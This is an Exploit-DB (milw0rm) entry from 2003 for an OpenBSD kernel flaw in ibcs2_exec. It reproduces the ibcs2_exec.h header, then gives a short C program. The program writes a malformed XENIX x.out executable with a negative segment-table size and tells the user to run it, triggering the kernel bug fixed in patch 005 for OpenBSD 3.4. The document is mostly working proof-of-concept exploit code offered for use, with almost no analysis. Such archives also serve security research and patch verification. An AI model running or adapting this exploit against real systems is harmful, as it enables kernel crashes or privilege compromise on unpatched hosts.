OpenBSD - 'ibcs2_exec' Kernel Code Execution

EDB-ID:

118


Platform:

BSD

Published:

2003-11-07

//
// Patch ftp://ftp.openbsd.org/pub/OpenBSD/patches/3.4/common/005_exec.patch
//
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
/* $OpenBSD: ibcs2_exec.h,v 1.3 2002/03/14 01:26:50 millert Exp $ */
/* $NetBSD: ibcs2_exec.h,v 1.4 1995/03/14 15:12:24 scottb Exp $ */

/*
 * Copyright (c) 1994, 1995 Scott Bartram
 * All rights reserved.
 *
 * adapted from sys/sys/exec_ecoff.h
 * based on Intel iBCS2
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 * notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 * notice, this list of conditions and the following disclaimer in the
 * documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 * derived from this software without specific prior written permission
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 */

#ifndef _IBCS2_EXEC_H_
#define _IBCS2_EXEC_H_

/*
 * COFF file header
 */

struct coff_filehdr {
    u_short f_magic; /* magic number */
    u_short f_nscns; /* # of sections */
    long f_timdat; /* timestamp */
    long f_symptr; /* file offset of symbol table */
    long f_nsyms; /* # of symbol table entries */
    u_short f_opthdr; /* size of optional header */
    u_short f_flags; /* flags */
};

/* f_magic flags */
#define COFF_MAGIC_I386 0x14c

/* f_flags */
#define COFF_F_RELFLG 0x1
#define COFF_F_EXEC 0x2
#define COFF_F_LNNO 0x4
#define COFF_F_LSYMS 0x8
#define COFF_F_SWABD 0x40
#define COFF_F_AR16WR 0x80
#define COFF_F_AR32WR 0x100

/*
 * COFF system header
 */

struct coff_aouthdr {
    short a_magic;
    short a_vstamp;
    long a_tsize;
    long a_dsize;
    long a_bsize;
    long a_entry;
    long a_tstart;
    long a_dstart;
};

/* magic */
#define COFF_OMAGIC 0407 /* text not write-protected; data seg
is contiguous with text */
#define COFF_NMAGIC 0410 /* text is write-protected; data starts
at next seg following text */
#define COFF_ZMAGIC 0413 /* text and data segs are aligned for
direct paging */
#define COFF_SMAGIC 0443 /* shared lib */

/*
 * COFF section header
 */

struct coff_scnhdr {
    char s_name[8];
    long s_paddr;
    long s_vaddr;
    long s_size;
    long s_scnptr;
    long s_relptr;
    long s_lnnoptr;
    u_short s_nreloc;
    u_short s_nlnno;
    long s_flags;
};

/* s_flags */
#define COFF_STYP_REG 0x00
#define COFF_STYP_DSECT 0x01
#define COFF_STYP_NOLOAD 0x02
#define COFF_STYP_GROUP 0x04
#define COFF_STYP_PAD 0x08
#define COFF_STYP_COPY 0x10
#define COFF_STYP_TEXT 0x20
#define COFF_STYP_DATA 0x40
#define COFF_STYP_BSS 0x80
#define COFF_STYP_INFO 0x200
#define COFF_STYP_OVER 0x400
#define COFF_STYP_SHLIB 0x800

/*
 * COFF shared library header
 */

struct coff_slhdr {
long entry_len; /* in words */
long path_index; /* in words */
char sl_name[1];
};

#define COFF_ROUND(val, by) (((val) + by - 1) & ~(by - 1))

#define COFF_ALIGN(a) ((a) & ~(COFF_LDPGSZ - 1))

#define COFF_HDR_SIZE \
(sizeof(struct coff_filehdr) + sizeof(struct coff_aouthdr))

#define COFF_BLOCK_ALIGN(ap, value) \
        (ap->a_magic == COFF_ZMAGIC ? COFF_ROUND(value, COFF_LDPGSZ) : \
         value)

#define COFF_TXTOFF(fp, ap) \
        (ap->a_magic == COFF_ZMAGIC ? 0 : \
         COFF_ROUND(COFF_HDR_SIZE + fp->f_nscns * \
sizeof(struct coff_scnhdr), COFF_SEGMENT_ALIGNMENT(ap)))

#define COFF_DATOFF(fp, ap) \
        (COFF_BLOCK_ALIGN(ap, COFF_TXTOFF(fp, ap) + ap->a_tsize))

#define COFF_SEGMENT_ALIGN(ap, value) \
        (COFF_ROUND(value, (ap->a_magic == COFF_ZMAGIC ? COFF_LDPGSZ : \
         COFF_SEGMENT_ALIGNMENT(ap))))

#define COFF_LDPGSZ 4096

#define COFF_SEGMENT_ALIGNMENT(ap) 4

#define COFF_BADMAG(ex) (ex->f_magic != COFF_MAGIC_I386)

#define IBCS2_HIGH_SYSCALL(n) (((n) & 0x7f) == 0x28)
#define IBCS2_CVT_HIGH_SYSCALL(n) (((n) >> 8) + 128)

struct exec_package;
int exec_ibcs2_coff_makecmds(struct proc *, struct exec_package *);

/*
 * x.out (XENIX)
 */

struct xexec {
u_short x_magic; /* magic number */
u_short x_ext; /* size of extended header */
long x_text; /* ignored */
long x_data; /* ignored */
long x_bss; /* ignored */
long x_syms; /* ignored */
long x_reloc; /* ignored */
long x_entry; /* executable entry point */
char x_cpu; /* processor type */
char x_relsym; /* ignored */
u_short x_renv; /* flags */
};

/* x_magic flags */
#define XOUT_MAGIC 0x0206

/* x_cpu flags */
#define XC_386 0x004a /* 386, word-swapped */

/* x_renv flags */
#define XE_V5 0xc000
#define XE_SEG 0x0800
#define XE_ABS 0x0400
#define XE_ITER 0x0200
#define XE_VMOD 0x0100
#define XE_FPH 0x0080
#define XE_LTEXT 0x0040
#define XE_LDATA 0x0020
#define XE_OVER 0x0010
#define XE_FS 0x0008
#define XE_PURE 0x0004
#define XE_SEP 0x0002
#define XE_EXEC 0x0001

/*
 * x.out extended header
 */

struct xext {
long xe_trsize; /* ignored */
long xe_drsize; /* ignored */
long xe_tbase; /* ignored */
long xe_dbase; /* ignored */
long xe_stksize; /* stack size if XE_FS set in x_renv */
long xe_segpos; /* offset of segment table */
long xe_segsize; /* segment table size */
long xe_mdtpos; /* ignored */
long xe_mdtsize; /* ignored */
char xe_mdttype; /* ignored */
char xe_pagesize; /* ignored */
char xe_ostype; /* ignored */
char xe_osvers; /* ignored */
u_short xe_eseg; /* ignored */
u_short xe_sres; /* ignored */
};

/*
 * x.out segment table
 */

struct xseg {
u_short xs_type; /* segment type */
u_short xs_attr; /* attribute flags */
u_short xs_seg; /* segment selector number */
char xs_align; /* ignored */
char xs_cres; /* ignored */
long xs_filpos; /* offset of this segment */
long xs_psize; /* physical segment size */
long xs_vsize; /* virtual segment size */
long xs_rbase; /* relocation base address */
u_short xs_noff; /* ignored */
u_short xs_sres; /* ignored */
long xs_lres; /* ignored */
};

/* xs_type flags */
#define XS_TNULL 0 /* unused */
#define XS_TTEXT 1 /* text (read-only) */
#define XS_TDATA 2 /* data (read-write) */
#define XS_TSYMS 3 /* symbol table (noload) */
#define XS_TREL 4 /* relocation segment (noload) */
#define XS_TSESTR 5 /* string table (noload) */
#define XS_TGRPS 6 /* group segment (noload) */

#define XS_TIDATA 64
#define XS_TTSS 65
#define XS_TLFIX 66
#define XS_TDNAME 67
#define XS_TDTEXT 68
#define XS_TDFIX 69
#define XS_TOVTAB 70
#define XS_T71 71
#define XS_TSYSTR 72

/* xs_attr flags */
#define XS_AMEM 0x8000 /* memory image */
#define XS_AITER 0x0001 /* iteration records */
#define XS_AHUGE 0x0002 /* unused */
#define XS_ABSS 0x0004 /* uninitialized data */
#define XS_APURE 0x0008 /* read-only (sharable) segment */
#define XS_AEDOWN 0x0010 /* expand down memory segment */
#define XS_APRIV 0x0020 /* unused */
#define XS_A32BIT 0x0040 /* 32-bit text/data */

/*
 * x.out iteration record
 */

struct xiter {
long xi_size; /* text/data size */
long xi_rep; /* number of replications */
long xi_offset; /* offset within segment to replicated data */
};

#define XOUT_HDR_SIZE (sizeof(struct xexec) + sizeof(struct xext))

int exec_ibcs2_xout_makecmds(struct proc *, struct exec_package *);

#endif /* !_IBCS2_EXEC_H_ */

int main(int ac,char **av)
{
int fd;
struct xexec xp;
struct xext xep;
char exe[10];
char fil[]="./vvc";

fd=open(fil,O_CREAT|O_RDWR,0700);
if (fd==-1) {perror("open");return 1;}
memset(&xp,0,sizeof(xp));
memset(&xep,0,sizeof(xep));
memset(exe,'v',sizeof(exe));
xp.x_magic = XOUT_MAGIC;
xp.x_cpu = XC_386;
xp.x_renv = XE_EXEC;
xp.x_ext = sizeof(xep);
xep.xe_segsize = -1;
write(fd,&xp,sizeof(xp));
write(fd,&xep,sizeof(xep));
write(fd,exe,sizeof(exe));
printf("Now exec %s\n",fil);

}

// milw0rm.com [2003-11-07]